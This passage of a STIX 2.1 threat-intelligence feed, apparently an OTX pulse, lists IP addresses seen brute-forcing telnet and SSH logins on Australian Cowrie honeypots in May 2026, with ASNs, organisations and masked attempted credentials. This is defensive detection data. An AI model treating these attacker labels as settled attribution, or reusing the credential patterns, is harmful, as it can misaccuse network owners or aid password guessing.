      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--92527c02-0cc8-4745-9ac7-25852a46b252",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.186.114.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--381ba2c1-50d8-4369-a113-8670d3774607",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.65.121.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--207bb5dc-8a4c-40dd-b411-4e7b0c67d9c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.232.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--5b8aa045-9a46-4c8c-accf-f3e1d742c568",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.233.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--1eeca7f7-7449-4205-9816-655d05760755",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.238.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--30652deb-32e1-4aac-b46e-8ddf104f313c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.247.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--eef92307-2f2f-4015-8489-1eec95c46eed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.251.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f3844359-ab1f-4c06-a2e0-008717373b00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.60.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--094a9276-453d-49e7-8ff0-5cc5bc48f813",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.238.205.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--865c067b-902a-4e2e-b944-4b9602949c96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.243.83.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264984. Organisation(s): CLICKIP PROVEDORES DE ACESSO LTDA.",
      "id": "indicator--402bbc4b-35b5-4c79-a4f9-24200dabfba9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.186.225.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269417. Organisation(s): PONTOCOM SOLUCOES EM TECNOLOGIA LTDA.",
      "id": "indicator--5acc8a20-e0d8-4fb3-9766-48becb638558",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.186.89.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--42f53f7e-48fb-454e-8c98-654d85519081",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.176.12.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--da0f8590-44bd-41a6-a041-2be7d1c76257",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.185.185.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 216046. Organisation(s): Tele.Co.Albania SHPK.",
      "id": "indicator--21618f0a-7fea-47bf-aff7-92d8e95a004c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.247.88.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--63db5288-da70-45f0-9f43-0c0e9ce63711",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.57.132.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T21:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--d4d09fe3-db19-46d4-8635-0be7f4985f77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T21:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.187.46.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T21:15:30.000Z",
      "valid_until": "2026-06-21T21:15:09.000Z"
    },
    {
      "created": "2026-05-20T21:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0b8f039d-0b9b-41a7-bdd4-3d20606eb831",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T21:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.233.161.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T21:15:30.000Z",
      "valid_until": "2026-06-21T21:15:09.000Z"
    },
    {
      "created": "2026-05-20T21:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--97c62b2e-6957-4631-86e8-eebdbc71403c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T21:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.122.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T21:15:30.000Z",
      "valid_until": "2026-06-21T21:15:09.000Z"
    },
    {
      "created": "2026-05-20T21:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--12e650ff-f2fd-4120-97f5-8b9065bbee67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T21:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.56.235.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T21:15:30.000Z",
      "valid_until": "2026-06-21T21:15:09.000Z"
    },
    {
      "created": "2026-05-20T21:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52995. Organisation(s): TEN INTERNET Ltda.",
      "id": "indicator--1372d14a-74ea-4b1e-abb5-9153d0215ebf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T21:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.93.250.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T21:15:30.000Z",
      "valid_until": "2026-06-21T21:15:09.000Z"
    },
    {
      "created": "2026-05-20T21:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 44034. Organisation(s): Hi3G Access AB.",
      "id": "indicator--9b0bb621-c2e9-44e4-960a-3d00cc4e3f92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T21:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.70.138.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T21:15:30.000Z",
      "valid_until": "2026-06-21T21:15:09.000Z"
    },
    {
      "created": "2026-05-20T21:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19331. Organisation(s): Twin Lakes Telephone Cooperative Corporation.",
      "id": "indicator--a81f8129-093e-4f47-9571-bfa54393dbdf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T21:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.55.118.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T21:15:30.000Z",
      "valid_until": "2026-06-21T21:15:09.000Z"
    },
    {
      "created": "2026-05-20T21:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, 3**********4, ***, a***********r, c**o. Passwords observed (masked): 1****6, 1******8, 1****q, 3***********4, 3**********4.",
      "id": "indicator--b2eb796f-5fcf-4c51-a52c-52cf5a943f31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T21:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.106.44.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T21:15:30.000Z",
      "valid_until": "2026-06-21T21:15:09.000Z"
    },
    {
      "created": "2026-05-20T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--fa05ae9b-e845-4e2e-9172-568b8714e760",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.169.15.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T22:15:10.000Z",
      "valid_until": "2026-06-21T22:15:08.000Z"
    },
    {
      "created": "2026-05-20T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--572bc1af-b11e-449c-86c7-9c08b307d508",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.57.128.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T22:15:10.000Z",
      "valid_until": "2026-06-21T22:15:08.000Z"
    },
    {
      "created": "2026-05-20T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 14080. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): r**t, 3**********4, c*******h, x**n, a***n. Passwords observed (masked): 1****6, 3***********4, 3**********4, D******1, D**********4.",
      "id": "indicator--a0591e1a-3f0b-449d-b663-3e145aaa3f43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.146.235.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T22:15:10.000Z",
      "valid_until": "2026-06-21T22:15:08.000Z"
    },
    {
      "created": "2026-05-20T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--d22f44be-bbf8-4250-8ec6-ce6c854fd3f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.59.180.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T22:15:10.000Z",
      "valid_until": "2026-06-21T22:15:08.000Z"
    },
    {
      "created": "2026-05-20T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--8fb46308-81d5-46fd-805a-52338f41cc84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.248.51.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T22:15:10.000Z",
      "valid_until": "2026-06-21T22:15:08.000Z"
    },
    {
      "created": "2026-05-20T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 226. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): r**t, 3**********4, a***n, v****r, x**n. Passwords observed (masked): 1****6, 3***********4, 3**********4, 2**0, D******1.",
      "id": "indicator--581eca74-e8da-4469-bf22-105c48ad3511",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.111.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T22:15:10.000Z",
      "valid_until": "2026-06-21T22:15:08.000Z"
    },
    {
      "created": "2026-05-20T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 141. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 54286. Organisation(s): TAIPEI101 NETWORK LLC. Usernames observed (masked): r**t, ***, j**a, o******s, s***y. Passwords observed (masked): 1**4, 1******8, 1*******#, 1*******E, 1****3.",
      "id": "indicator--05651a0e-2935-4858-8f3a-dd469b42a091",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.147.120.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T22:15:10.000Z",
      "valid_until": "2026-06-21T22:15:08.000Z"
    },
    {
      "created": "2026-05-20T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, a***n, r***n, 3**********4, g****h. Passwords observed (masked): 1****6, 2**0, 3***********4, 3**********4, D******1.",
      "id": "indicator--93bace69-c151-40a6-8be7-ef1eabbc200c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.220.171.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T22:15:10.000Z",
      "valid_until": "2026-06-21T22:15:08.000Z"
    },
    {
      "created": "2026-05-20T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 12874. Organisation(s): Fastweb.",
      "id": "indicator--4d250743-b6ff-4884-b725-cfd8a8b8c572",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.38.58.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T22:15:10.000Z",
      "valid_until": "2026-06-21T22:15:08.000Z"
    },
    {
      "created": "2026-05-20T23:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d14bd3dc-3b2b-4fe2-a3ef-8baf6e07720d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T23:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.36.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:15:33.000Z",
      "valid_until": "2026-06-21T23:15:08.000Z"
    },
    {
      "created": "2026-05-20T23:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--39ffec3c-eace-4854-852a-e05ef094eebb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T23:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.157.0.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:15:33.000Z",
      "valid_until": "2026-06-21T23:15:08.000Z"
    },
    {
      "created": "2026-05-20T23:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LS. ASN(s): 33567. Organisation(s): TELECOM-LESOTHO.",
      "id": "indicator--3a97c9a0-3671-4d01-828e-7e0c373ce2a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T23:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.232.19.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
